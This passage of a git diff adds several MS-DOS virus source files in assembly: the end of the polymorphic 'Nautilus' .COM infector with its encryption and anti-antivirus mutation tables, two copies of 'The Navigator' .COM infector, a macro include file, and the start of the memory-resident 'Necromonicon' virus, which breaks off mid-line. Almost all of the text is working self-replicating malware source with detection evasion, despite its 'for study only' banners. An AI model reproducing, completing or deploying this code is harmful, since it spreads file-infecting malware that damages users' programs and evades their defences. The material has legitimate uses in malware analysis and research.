+xor cx,cx ; 0 +xor dx,dx ; 0 +int 21h ; Once we get to the end of thew file we can write our + ; string to it, without damaging anything + +mov ah,40h ; Function 40h: Write to file +lea dx,[bp+line1] ; Puts the string start address into DX +mov cx,Textlen ; Puts the text length into CX +int 21h ; Writes that baby + +mov ax,5701h ; Function 5701h: Set File's Last - Written Date and Time +mov dx,word ptr [bp+s_date] ; DX = Date +mov cx,word ptr [bp+s_time] ; CX = Time +int 21h ; More Dirty work for DOS + +mov ah,3Eh ; Function 3Eh: Close File +int 21h ; Calls DOS to close up the file. + +mov ax,4301h ; Function 4301h: Set File Attributes +lea dx,[9Eh] ; Filename in DTA +xor cx,cx ; Clears CX +mov cl,byte ptr [bp+s_attr] ; Puts the attributes into CL +int 21h ; Isn't DOS just sooooo helpful. + +mov ax,4F00h ; Find next +jmp FindNextText ; Gets the next one + +FindTime: +mov ah,02h ; Function 02h: Get Real Time Clock ( Time ) +int 1Ah ; Retrieves the time and puts the values into the + ; following registers + ; CH = Hour + ; CL = Minutes + ; DH = Seconds + ; DL = Daylight Savings Flag ( 0h = standard time; 1h = daylight time ) + +cmp cx,2300h ; 11:00pm ( about the time it was rammed ) +jb exit ; If before 11 we are safe, otherwise ... + +mov ah,09h ; Function 09h: Print String Standard Output +lea dx,[bp+Message1] ; Location of string +int 21h ; Calls DOS + +int 20h ; Close Program + +message1 db 'Thus ends the voyage under the seas.','$' + +exit: + +; Lets set the DTA back to what it should be so that the program can +; can use any parameters passed to it. + +lea si,[bp+NewDTA] ; Area that DTA was saved +mov di,80h ; Area where it was +mov cx,2Ah ; Length of DTA +rep movsb ; Put it back + + +; Now we are gonna get outta here, first we should cover up any stuff +; that might show up in a mem dump, so that if anyone looks, all they +; see is garbage. +HideEnde EQU 2Ah+VirL+Buffer-Ende + +lea si,[bp+Ende] ; We are gonna encrypt from Ende to end of DTA +mov di,si ; So it is hidden along with the Virus itself +mov dl,[bp+EncVal2] ; Rotate value +mov dh,[bp+Xor2Val] ; Xor value +mov cx,HideEnde ; Length of buffer area used + DTA area :) +call DCryptie ; Calls 2nd encrypt routine + +lea di,[bp+EndRet] ; Loads start of routine that returns control +mov si,di ; to host program, into DI/SI +mov dl,[bp+EncVal1] ; Gets encryption value for DL +mov dh,[bp+Xor1Val] ; Gets XOR value for DH +mov cx,DoneRet-EndRet ; length to encrypt +call Cryptie ; Calls the encryptor. We encrypt this so it is the + ; only thing left after the next call. Understand? + +lea di,[bp+Virus_Start] ; Gets the location of the Virus_start and hides + ; everything but the encryption itself. ( and the + ; kitchen sink, of course ) +mov si,di ; and put it into DI/SI so we can hide the virus + ; from the host program. +mov dl,[bp+DecVal1] ; Rotate value +mov dh,[bp+Xor1Val] ; Xor value +mov cx,Cryptie-Virus_start ; Gives length of area to hide into CX +call cryptie ; Calls the encryption loop to hide it + + +EndRet: ; Jumps to the start of the actual program. + ; But first, lets reset all registers so no + ; problems are caused by a program assuming 0 + ; registers. +xor sp,sp ; resets the stack pointer +push sp ; and pushes 0 onto the stack +xor di,di +xor si,si +;xor cx,cx ; CX is 0 by the call to Cryptie +xor ax,ax +xor bx,bx +xor dx,dx +xor bp,bp +push 100h ; Puts 100h on stack +ret ; Jumps to location on stack ( 100h ) +DoneRet: + + +jumping db 0E9h ; E9 = jmp +jumpto db 0,0 ; Place for the new address + +; Dec/Enc values are here for the Morphing aspect, so that +; whatever type of decryption/encryption is used the values will +; always be found here. + + +Morph: ; This will move different ( preset ) Encryption + ; Routines and Calls into their respective spots. + ; It will also Change the Delta offset thing, because + ; that is a dead giveaway to the virus and is just dying + ; to become a scanstring. + +; Get New Enc/Dec Values +in al,40h ; Get random number from port 40h +and al,7h ; Masks out all but first 3 bits +jnz NotZero ; If its not zero, we are good. +inc al ; Makes any 0 = 1 +NotZero: +mov [bp+EncVal1],al ; Saves it as the EncVal1 +neg ax ; gets the opposite of AL +and al,7h ; Makes EncVal1 + DecVal1 = 8 +mov [bp+DecVal1],al ; Saves the DecVal1 + +in al,40h ; Get random number from port 40h +and al,7h ; Masks out all but first 3 bits +jnz NotZero2 ; If its not zero, we are good. +inc al ; Makes any 0 = 1 +NotZero2: +mov [bp+EncVal2],al ; Saves it as the EncVal2 +neg ax ; gets the opposite of AL +and al,7h ; Makes EncVal2 + DecVal2 = 8 +mov [bp+DecVal2],al ; Saves the DecVal2 + +; Get XorValues +Xoragain: +in al,40h ; Random number from port 40h +xchg bx,ax ; saves it into BL +in al,40h ; Gets another +cmp al,bl ; Makes sure they are not the same + ; because they might decrypt each other + ; in Cryptie and DCryptie, depending on + ; how they turn out. +jz XorAgain ; If they are equal, try again +mov [bp+Xor1Val],al ; Save it as Xor1Val +mov [bp+Xor2Val],bl ; Save it as Xor2Val + +; Now, the above got us some values to use, all we have to do, is +; modify how they are used. For the decrypt calls, and routines, we just +; randomly choose from a list of possibles. + +xor dx,dx +GetDelta: ; Get a possible Delta Offset Thingy +mov dl,0Ah +lea di,[bp+Virus_Start] +lea si,[bp+PosDelta] +in al,40h ; Gets Random Number +and al,7h ; Makes it 7 or less +imul dl ; Multiplies AL by 0Ah and stores in AX +add si,ax ; Adds AX to SI so we can get one of the possible + ; morphs for getting the delta offset. +mov cx,dx ; Length of Delta Offset Morphs +rep movsb ; MORPHING TIME!! + +GetCC: ; Get a possible Call Cryptie +mov dl,12h ; Size of Call Cryptie Morphs +lea di,[bp+Decrypt] +lea si,[bp+PosCC] +in al,40h ; Gets Random Number +and al,7h ; Makes it 7 or less +imul dl ; Multiplies AL by 12h and stores in AX +add si,ax ; Adds AX to SI so we can get one of the possible + ; morphs for calling Cryptie. +mov cx,dx ; Length of Call Cryptie Morphs +rep movsb ; MORPHING TIME!! + +GetCDC: ; Get one of the possible Call DCryptie's +mov dl,12h ; Size of Call DCryptie Morphs +lea di,[bp+Hidden] +lea si,[bp+PosCDC] +in al,40h ; Gets Random Number +and al,7h ; Makes it 7 or less +imul dl ; Multiplies AL by 12h and stores in AX +add si,ax ; Adds AX to SI so we can get one of the possible + ; morphs for calling DCryptie. +mov cx,dx ; Length of Call DCryptie Morphs +rep movsb ; MORPHING TIME!! + +GetCR: ; Get 2 new encryption routines +mov dx,0Eh ; Size of each possible encryption routine +lea di,[bp+MorphD1] ; Start of first encryption routine to change +lea si,[bp+PosCR] ; Start of possible variants +in al,40h ; Gets a random number +and al,0Fh ; Makes it 0Fh or less +imul dl ; Multiplies 0Eh by the Random # and stores in AX +add si,ax ; Gets the offset of encryption variant and puts + ; it into the SI +mov cx,dx ; Gives count of encryption length to CX +rep movsb ; Quickly does the first of two + +mov dx,0Eh ; Size of each possible encryption routine +lea di,[bp+MorphD2] ; Start of second encryption routine to change +lea si,[bp+PosCR] ; Start of possible variants +in al,40h ; Gets a random number +and al,0Fh ; Makes it 0Fh or less +imul dl ; Multiplies 0Eh by the Random # and stores in AX +add si,ax ; Gets the offset of encryption variant and puts + ; it into the SI +mov cx,dx ; Gives count of encryption length to CX +rep movsb ; Quickly does the second one + +ret ; Goes back to the spot that called here + +; Below is a Database of possible morphs +; The same results are reached by using any of these morphs +; they are just there to fool AV software companies. + +PosDelta: ; Possible Delta Routines, size 10 bytes +db 0E8,00,00 ; 3 ; Call Delta +sti ; 1 +pop bp ; 1 +xchg bx,ax ; 1 +sub bp,offset delta ; 4 + ; = 10 +PosDelta2: +sti ; 1 +clc ; 1 +db 0E8h,0,0 ; 3 +pop ax ; 1 +sub ax,offset delta +2 ; 3 +xchg bp,ax ; 1 + ; = 10 +PosDelta3: +cli ; 1 +db 0E8h,0,0 ; 3 +pop ax ; 1 +sti ; 1 +sub ax,offset delta+1 ; 3 +xchg bp,ax ; 1 + ; = 10 +PosDelta4: +cld ; 1 +db 0E8h,0,0 ; 3 +pop bp ; 1 +clc ; 1 +sub bp,offset delta+1 ; 4 + ; = 10 +PosDelta5: +db 0E8h,0,0 ; 3 +pop bx ; 1 +sti ; 1 +xchg bx,ax ; 1 +sub ax,offset delta ; 3 +xchg bp,ax ; 1 + ; = 10 +PosDelta6: +sti ; 1 +nop ; 1 +db 0E8h,0,0 ; 3 +pop bp ; 1 +sub bp,offset delta+2 ; 4 + ; = 10 +PosDelta7: +db 0E8h,0,0 ; 3 +pop ax ; 1 +xchg bx,ax ; 1 +xchg bx,ax ; 1 +sub ax,offset delta ; 3 +xchg bp,ax ; 1 + ; = 10 +PosDelta8: +db 0E8h,0,0 ; 3 +nop ; 1 +pop ax ; 1 +nop ; 1 +sub ax,offset delta ; 3 +xchg bp,ax ; 1 + ; = 10 + +PosCC: ; Possible Call Cryptie, size 12h ( 18d ) bytes +mov cx,cryptie-hidden ; 3 +lea si,[bp+hidden] ; 4 +nop ; 1 +mov di,si ; 2 +mov dl,[bp+DecVal1] ; 4 +mov dh,[bp+Xor1val] ; 4 + ; = 18 + +PosCC2: +lea di,[bp+hidden] ; 4 +nop ; 1 +mov dl,[bp+DecVal1] ; 4 +mov cx,cryptie-hidden ; 3 +mov dh,[bp+Xor1val] ; 4 +mov si,di ; 2 + ; = 18 +PosCC3: +sti ; 1 +lea si,[bp+hidden] ; 4 +mov dh,[bp+Xor1val] ; 4 +mov di,si ; 2 +mov dl,[bp+DecVal1] ; 4 +mov cx,cryptie-hidden ; 3 + ; = 18 +PosCC4: +lea di,[bp+hidden] ; 4 +mov cx,cryptie-hidden ; 3 +clc ; 1 +mov si,di ; 2 +mov dh,[bp+Xor1val] ; 4 +mov dl,[bp+DecVal1] ; 4 + ; = 18 +PosCC5: +mov dl,[bp+DecVal1] ; 4 +mov dh,[bp+Xor1val] ; 4 +mov cx,cryptie-hidden ; 3 +lea si,[bp+hidden] ; 4 +mov di,si ; 2 +nop ; 1 + ; = 18 +PosCC6: +mov dh,[bp+Xor1val] ; 4 +lea si,[bp+hidden] ; 4 +cld ; 1 +mov cx,cryptie-hidden ; 3 +mov di,si ; 2 +mov dl,[bp+DecVal1] ; 4 + ; = 18 +PosCC7: +mov cx,cryptie-hidden ; 3 +nop ; 1 +mov dl,[bp+DecVal1] ; 4 +mov dh,[bp+Xor1val] ; 4 +lea di,[bp+hidden] ; 4 +mov si,di ; 2 + ; = 18 +PosCC8: +mov dl,[bp+DecVal1] ; 4 +lea si,[bp+hidden] ; 4 +mov cx,cryptie-hidden ; 3 +stc ; 1 +mov di,si ; 2 +mov dh,[bp+Xor1val] ; 4 + ; = 18 + +PosCDC: ; Possible Call DCryptie, size 12h ( 18d ) bytes +mov cx,DCryptie-Dhidden ; 3 +lea si,[bp+Dhidden] ; 4 +mov di,si ; 2 +nop ; 1 +mov dl,[bp+DecVal2] ; 4 +mov dh,[bp+Xor2Val] ; 4 + ; = 18 + +PosCDC2: +lea si,[bp+Dhidden] ; 4 +mov dh,[bp+Xor2Val] ; 4 +mov di,si ; 2 +clc ; 1 +mov cx,DCryptie-Dhidden ; 3 +mov dl,[bp+DecVal2] ; 4 + ; = 18 + +PosCDC3: +mov dh,[bp+Xor2Val] ; 4 +mov dl,[bp+DecVal2] ; 4 +lea si,[bp+Dhidden] ; 4 +nop ; 1 +mov di,si ; 2 +mov cx,DCryptie-Dhidden ; 3 + ; = 18 + +PosCDC4: +lea di,[bp+Dhidden] ; 4 +sti ; 1 +mov dl,[bp+DecVal2] ; 4 +mov si,di ; 2 +mov cx,DCryptie-Dhidden ; 3 +mov dh,[bp+Xor2Val] ; 4 + ; = 18 + +PosCDC5: +cld ; 1 +lea si,[bp+Dhidden] ; 4 +mov cx,DCryptie-Dhidden ; 3 +mov di,si ; 2 +mov dh,[bp+Xor2Val] ; 4 +mov dl,[bp+DecVal2] ; 4 + ; = 18 + +PosCDC6: +lea si,[bp+Dhidden] ; 4 +mov cx,DCryptie-Dhidden ; 3 +mov dl,[bp+DecVal2] ; 4 +nop ; 1 +mov dh,[bp+Xor2Val] ; 4 +mov di,si ; 2 + ; = 18 + +PosCDC7: +lea di,[bp+Dhidden] ; 4 +mov cx,DCryptie-Dhidden ; 3 +mov si,di ; 2 +mov dh,[bp+Xor2Val] ; 4 +cld ; 1 +mov dl,[bp+DecVal2] ; 4 + ; = 18 + +PosCDC8: +mov dh,[bp+Xor2Val] ; 4 +mov dl,[bp+DecVal2] ; 4 +nop ; 1 +lea di,[bp+Dhidden] ; 4 +mov si,di ; 2 +mov cx,DCryptie-Dhidden ; 3 + ; = 18 + +PosCR: ; Possible Cryptie Routines, each 14 bytes +neg al ; 2 +xor al,13h ; 2 +not al ; 2 +rol al,cl ; 2 +not al ; 2 +xor al,13h ; 2 +neg al ; 2 + ; = 14 + +Pos2CR: ; Possible DCryptie Routines, each 14 bytes +xor al,72h ; 2 +neg al ; 2 +rol al,cl ; 2 +not al ; 2 +rol al,cl ; 2 +neg al ; 2 +xor al,72h ; 2 + ; = 14 + +PosCR2: +neg al ; 2 +sti ; 1 +rol al,cl ; 2 +nop ; 1 +clc ; 1 +neg al ; 2 +rol al,cl ; 2 +cld ; 1 +neg al ; 2 + ; = 14 + +Pos2CR2: +rol al,cl ; 2 +sti ; 1 +xor al,0C4h ; 2 +ror al,cl ; 2 +stc ; 1 +nop ; 1 +xor al,0C4h ; 2 +clc ; 1 +rol al,cl ; 2 + ; = 14 + +PosCR3: +not al ; 2 +xor al,0AAh ; 2 +stc ; 1 +nop ; 1 +clc ; 1 +neg al ; 2 +xor al,0AAh ; 2 +sti ; 1 +not al ; 2 + ; = 14 + +Pos2CR3: +ror al,cl ; 2 +cmp al,cl ; 2 +stc ; 1 +xor al,ch ; 2 +ror al,cl ; 2 +xor al,ch ; 2 +cld ; 1 +ror al,cl ; 2 + ; = 14 + +PosCR4: +rol al,cl ; 2 +neg al ; 2 +nop ; 1 +xor al,55h ; 2 +sti ; 1 +neg al ; 2 +std ; 1 +rol al,cl ; 2 +cld ; 1 + ; = 14 + +Pos2CR4: +cmp al,12h ; 2 +jne Fakejmp ; 2 +Fakejmp: +sti ; 1 +cld ; 1 +rol al,cl ; 2 +nop ; 1 +nop ; 1 +xor al,ch ; 2 +rol al,cl ; 2 + ; = 14 + +PosCR5: +cld ; 1 +ror al,cl ; 2 +xor al,ch ; 2 +not al ; 2 +nop ; 1 +nop ; 1 +xor al,ch ; 2 +nop ; 1 +ror al,cl ; 2 + ; = 14 + +Pos2CR5: +ror al,cl ; 2 +xor al,ch ; 2 +rol al,cl ; 2 +not al ; 2 +rol al,cl ; 2 +xor al,ch ; 2 +ror al,cl ; 2 + ; = 14 + +PosCR6: +xor al,ch ; 2 +nop ; 1 +xchg bx,dx ; 2 +nop ; 1 +nop ; 1 +ror al,cl ; 2 +stc ; 1 +xor al,ch ; 2 +xchg bx,dx ; 2 + ; = 14 + +Pos2CR6: +rol al,cl ; 2 +xor al,ch ; 2 +nop ; 1 +xor al,0D8h ; 2 +cmp al,4h ; 2 +xor al,ch ; 2 +sti ; 1 +rol al,cl ; 2 + ; = 14 + +PosCR7: +xor al,ch ; 2 +cmp al,4h ; 2 +jne FakeJmp2 ; 2 +stc ; 1 +FakeJmp2: +sti ; 1 +stc ; 1 +cld ; 1 +xchg bx,ax ; 1 +xchg bx,ax ; 1 +stc ; 1 +nop ; 1 + ; = 14 + +Pos2CR7: +rol al,cl ; 2 +xor al,ch ; 2 +rol al,cl ; 2 +not al ; 2 +rol al,cl ; 2 +xor al,ch ; 2 +rol al,cl ; 2 + ; = 14 + +PosCR8: +xor al,ch ; 2 +rol al,cl ; 2 +xor al,ch ; 2 +not al ; 2 +xor al,ch ; 2 +rol al,cl ; 2 +xor al,ch ; 2 + ; = 14 + +Pos2CR8: +xor al,ch ; 2 +rol al,cl ; 2 +xor al,0C7h ; 2 +neg al ; 2 +xor al,0C7h ; 2 +rol al,cl ; 2 +xor al,ch ; 2 + ; = 14 + + +EndMorphs: + +filemask db '*.com',0 ; The type of files we are gonna infect. +textmask db '*.txt',0 ; Text files to find when bomb goes off +dos_mask db 'dos',0 ; Mask for finding DOS +win_mask db 'windows',0 ; Mask for finding Windows +win_com db 'command',0 ; Mask for finding .\windows\command +dot_dot db '..',0 ; Mask for previous directory. + + +saved db 0CDh,020h,0h ; This is the storage space for the first + ; three bytes from the infected file. CD20 is + ; the 'int 20h' instruction used to exit. + + +Infectedby db 'Sea4 ' ; Place to keep virus lineage +MyName db 'Nautilus.com ' ; Current infected file + +Virus_Name db '[Nautilus]',0 +Author db 'Sea4, Codebreakers',0 + +textlen EQU DCryptie-Line1 + +; Below is the first sentence of the Jules Verne classic from whence I got +; the name of this virus. "Twenty Thousand Leagues Under the Sea" + +line1 db 'The year 1866 was made notable by a series of bizarre',CR,LF +line2 db 'events, a chain of mysterious phenomena which have never',CR,LF +line3 db 'been explained, that I am sure no one has forgotten.',CR,LF + +CR EQU 0Dh +LF EQU 0Ah ; Carrige Return Line Feed ( next line ) + +DCryptie: +lodsb ; Gets next byte Doomed for De/Encryption +xchg dx,cx ; Saves the count while using the DE/ENcrypt value +MorphD1: +db 14 dup 90h ; The encryption instructions will be at most + ; 14 bytes long. +xchg dx,cx ; Returns the count value to CX +stosb ; Puts the encrypted byte into mem +loop DCryptie ; Does all the bytes specified by CX +ret ; Jumps back to the caller + +Xor2Val db 00h ; Xor value to be used in DCryptie +DecVal2 db 00h ; Decrypt value 2 +EncVal2 db 00h ; Encrypt value 2 + +Cryptie: +lodsb ; Gets the next byte to De/Encrypt +xchg dx,cx +MorphD2: +db 14 dup 90h ; The encryption instructions will be at most + ; 14 bytes long. +xchg dx,cx +stosb ; Plugs AL back into mem +loop Cryptie ; Does all the bytes specified by CX +ret ; Jumps back to where it was called + +Xor1Val db 00h ; Xor value to be used in Cryptie +DecVal1 db 00h ; Decrypt value 1 +EncVal1 db 00h ; Encrypt value 1 + +ende: +; Here is a buffer specifically for file attributes/date/time/size +; It is not saved with the virus, so it doesn't actually take up mem. :) +; Just the offsets are used. +s_attr db 0h ; File attributes +s_time dw 0h ; Saved Time Last Modified +s_date dw 0h ; Saved Date Last Modified +s_size dd 0h ; Size of file ( before modification) +Victems db 00h ; Place to keep count of victems +CurDIR db 64 DUP (90) +buffer: diff --git a/MSDOS/Virus.MSDOS.Unknown.nav.asm b/MSDOS/Virus.MSDOS.Unknown.nav.asm new file mode 100644 index 00000000..51b44672 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.nav.asm @@ -0,0 +1,201 @@ +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; +;**************************************************************************** +;* The Navigator * +;* * +;* Assembled with Tasm 2.5 * +;* * +;* (c) 1992 Dark Helmet, The Netherlands * +;* The author takes no responsibilty for any damages caused by the virus * +;* * +;* Special greetings to : * +;* Glenn Benton, XSTC for their nice source and viruses, * +;* Peter Venkman for his BBS, Marcel and Ziggy for keeping me of the * +;* work, Guns and Roses for their great music, * +;* and al the other viruswriters... * +;* * +;* " Trust me...I know what I'm doing" * +;* * +;*--------------------------------------------------------------------------* +;* * +;* Coming soon : The Anti-DAF Virus * +;* Civil War II * +;* * +;*--------------------------------------------------------------------------* +;* * +;* Used Books : - MSDOS voor gevorderen (tweede editie) * +;* Ray Duncan, ISBN 90 201 2299 1 (660 blz.) * +;* - PC Handboek voor programmeurs * +;* Robert Jourdain, ISBN 90 6233 443 1 (542 blz.) * +;* - Werken met Turbo Assembler * +;* Tom Swam, ISBN 90 6233 627 2 (903 blz.) * +;* * +;**************************************************************************** + + .Radix 16 + +Navigator Segment + Assume cs:Navigator, ds:Navigator, + org 100h + +len equ offset last - begin + +Dummy: db 0e9h, 03h, 00h, 44h, 48h, 00h + +Begin: call virus + +Virus: pop bp + sub bp,109h + mov dx,0fe00h + mov ah,1ah + int 21h + +Restore_begin: mov di,0100h + lea si,ds:[buffer+bp] + mov cx,06h + rep movsb + +First: lea dx,[com_mask+bp] + mov ah,04eh + xor cx,cx + int 21h + +Open_file: mov ax,03d02h + mov dx,0fe1eh + int 21h + mov [handle+bp],ax + xchg ax,bx + +Read_date: mov ax,05700h + int 21h + mov [date+bp],dx + mov [time+bp],cx + +Check_infect: mov bx,[handle+bp] + mov ah,03fh + mov cx,06h + lea dx,[buffer+bp] + int 21h + mov al,byte ptr [buffer+bp]+3 + mov ah,byte ptr [buffer+bp]+4 + cmp ax,[initials+bp] + jne infect_file + +Close_file: mov bx,[handle+bp] + mov ah,3eh + int 21h + +Next_file: mov ah,4fh + int 21h + jnb open_file + jmp exit + +Infect_file: mov ax,word ptr [cs:0fe1ah] + sub ax,03h + mov [lenght+bp],ax + mov ax,04200h + call move_pointer + +Write_jump: mov ah,40h + mov cx,01h + lea dx,[jump+bp] + int 21h + mov ah,40h + mov cx,02h + lea dx,[lenght+bp] + int 21h + mov ah,40 + mov cx,02h + lea dx,[initials+bp] + int 21h + +Write_virus: mov ax,4202h + call move_pointer + mov ah,40h + mov cx,len + lea dx,[begin+bp] + int 21h + +restore_date: mov dx,[date+bp] + mov cx,[time+bp] + mov bx,[handle+bp] + mov ax,05701h + int 21h + +exit: mov bx,0100h + jmp bx + +;---------------------------------------------------------------------------- + +move_pointer: mov bx,[handle+bp] + xor cx,cx + xor dx,dx + int 21h + ret + +;---------------------------------------------------------------------------- + +com_mask db "*.com",0 +handle dw ? +date dw ? +time dw ? +buffer db 090h,0cdh,020h,044h,048h,00h +initials dw 4844h +lenght dw ? +jump db 0e9h,0 +msg db "The Navigator, (c) 1992 Dark Helmet",0 + +last db 090h + +Navigator ends + end dummy +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; + +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ; +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ; +;ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ; +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ; + diff --git a/MSDOS/Virus.MSDOS.Unknown.navigatr.asm b/MSDOS/Virus.MSDOS.Unknown.navigatr.asm new file mode 100644 index 00000000..b31e062a --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.navigatr.asm @@ -0,0 +1,161 @@ +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; +;**************************************************************************** +;* The Navigator * +;* * +;* Assembled with Tasm 2.5 * +;* * +;* (c) 1992 Dark Helmet, The Netherlands * +;* The author takes no responsibilty for any damages caused by the virus * +;* * +;* Special greetings to : * +;* Glenn Benton, XSTC for their nice source and viruses, * +;* XXXXXXXXXXXXX for his BBS, Marcel and Ziggy for keeping me of the * +;* work, Guns and Roses for their great music, * +;* and al the other viruswriters... * +;* * +;* " Trust me...I know what I'm doing" * +;* * +;*--------------------------------------------------------------------------* +;* * +;* Coming soon : The Anti-DAF Virus * +;* Civil War II * +;* * +;*--------------------------------------------------------------------------* +;* * +;* Used Books : - MSDOS voor gevorderen (tweede editie) * +;* Ray Duncan, ISBN 90 201 2299 1 (660 blz.) * +;* - PC Handboek voor programmeurs * +;* Robert Jourdain, ISBN 90 6233 443 1 (542 blz.) * +;* - Werken met Turbo Assembler * +;* Tom Swam, ISBN 90 6233 627 2 (903 blz.) * +;* * +;**************************************************************************** + + .Radix 16 + +Navigator Segment + Assume cs:Navigator, ds:Navigator, + org 100h + +len equ offset last - begin + +Dummy: db 0e9h, 03h, 00h, 44h, 48h, 00h + +Begin: call virus + +Virus: pop bp + sub bp,109h + mov dx,0fe00h + mov ah,1ah + int 21h + +Restore_begin: mov di,0100h + lea si,ds:[buffer+bp] + mov cx,06h + rep movsb + +First: lea dx,[com_mask+bp] + mov ah,04eh + xor cx,cx + int 21h + +Open_file: mov ax,03d02h + mov dx,0fe1eh + int 21h + mov [handle+bp],ax + xchg ax,bx + +Read_date: mov ax,05700h + int 21h + mov [date+bp],dx + mov [time+bp],cx + +Check_infect: mov bx,[handle+bp] + mov ah,03fh + mov cx,06h + lea dx,[buffer+bp] + int 21h + mov al,byte ptr [buffer+bp]+3 + mov ah,byte ptr [buffer+bp]+4 + cmp ax,[initials+bp] + jne infect_file + +Close_file: mov bx,[handle+bp] + mov ah,3eh + int 21h + +Next_file: mov ah,4fh + int 21h + jnb open_file + jmp exit + +Infect_file: mov ax,word ptr [cs:0fe1ah] + sub ax,03h + mov [lenght+bp],ax + mov ax,04200h + call move_pointer + +Write_jump: mov ah,40h + mov cx,01h + lea dx,[jump+bp] + int 21h + mov ah,40h + mov cx,02h + lea dx,[lenght+bp] + int 21h + mov ah,40 + mov cx,02h + lea dx,[initials+bp] + int 21h + +Write_virus: mov ax,4202h + call move_pointer + mov ah,40h + mov cx,len + lea dx,[begin+bp] + int 21h + +restore_date: mov dx,[date+bp] + mov cx,[time+bp] + mov bx,[handle+bp] + mov ax,05701h + int 21h + +exit: mov bx,0100h + jmp bx + +;---------------------------------------------------------------------------- + +move_pointer: mov bx,[handle+bp] + xor cx,cx + xor dx,dx + int 21h + ret + +;---------------------------------------------------------------------------- + +com_mask db "*.com",0 +handle dw ? +date dw ? +time dw ? +buffer db 090h,0cdh,020h,044h,048h,00h +initials dw 4844h +lenght dw ? +jump db 0e9h,0 +msg db "The Navigator, (c) 1992 Dark Helmet",0 + +last db 090h + +Navigator ends + end dummy +;****************************************************************************; +;****************************************************************************; diff --git a/MSDOS/Virus.MSDOS.Unknown.nec_20_u.inc b/MSDOS/Virus.MSDOS.Unknown.nec_20_u.inc new file mode 100644 index 00000000..4f5599c5 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.nec_20_u.inc @@ -0,0 +1,30 @@ +;[Death Virii Crew] Presents +;CHAOS A.D. Vmag, Issue 3, Autumn 1996 - Winter 1997 + +brkem macro inter +db 0fh,0ffh,inter +endm brkem + +retem macro +db 0edh,0fdh +endm retem + +int86 macro oper8 +db 0edh,0edh +db oper8 +endm + +int21h macro _ax,_cx,_dx + +_lxi_b _ax +_push_b +_lxi_b _cx +_push_b +_lxi_b _dx +_push_b +int86 88h + +endm + +; (c) by Reminder [DVC] + diff --git a/MSDOS/Virus.MSDOS.Unknown.necromin.a86 b/MSDOS/Virus.MSDOS.Unknown.necromin.a86 new file mode 100644 index 00000000..2f3b9099 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.necromin.a86 @@ -0,0 +1,417 @@ +; +; Necromonicon Virus by John Tardy +; + + Org 0h + +decr: jmp Crypt + db 'Carcass' +Loopje DB 0e2h + db 0fah +DecrLen Equ $-Decr + +Crypt: Push Ax + call Get_Ofs +Get_Ofs: pop Bp + sub Bp,Get_Ofs + Mov Ax,0DEADh + Int 21h + Cmp Ax,0AAAAh + Je Installed + + mov ax,3521h + int 21h + mov word ptr cs:old21[bp],bx + mov word ptr cs:old21[bp][2],es + + mov ax,cs + dec ax + mov ds,ax + cmp byte ptr ds:[0000],'Z' + jne installed + mov ax,word ptr ds:[0003] + sub ax,ParLen + jb installed + mov word ptr ds:[0003],ax + sub word ptr ds:[0012h],ParLen + lea si,decr[bp] + mov di,0 + mov es,ds:[12h] + mov ds,cs + mov cx,virlen + cld + rep movsb + mov ax,2521h + mov ds,es + mov dx,offset new21 + int 21h + push es + Mov Ax,351ch + Int 21h + Mov Word Ptr OldInt1c[0],Bx + Mov Word Ptr OldInt1c[2],Es + Mov Ax,251ch + Lea 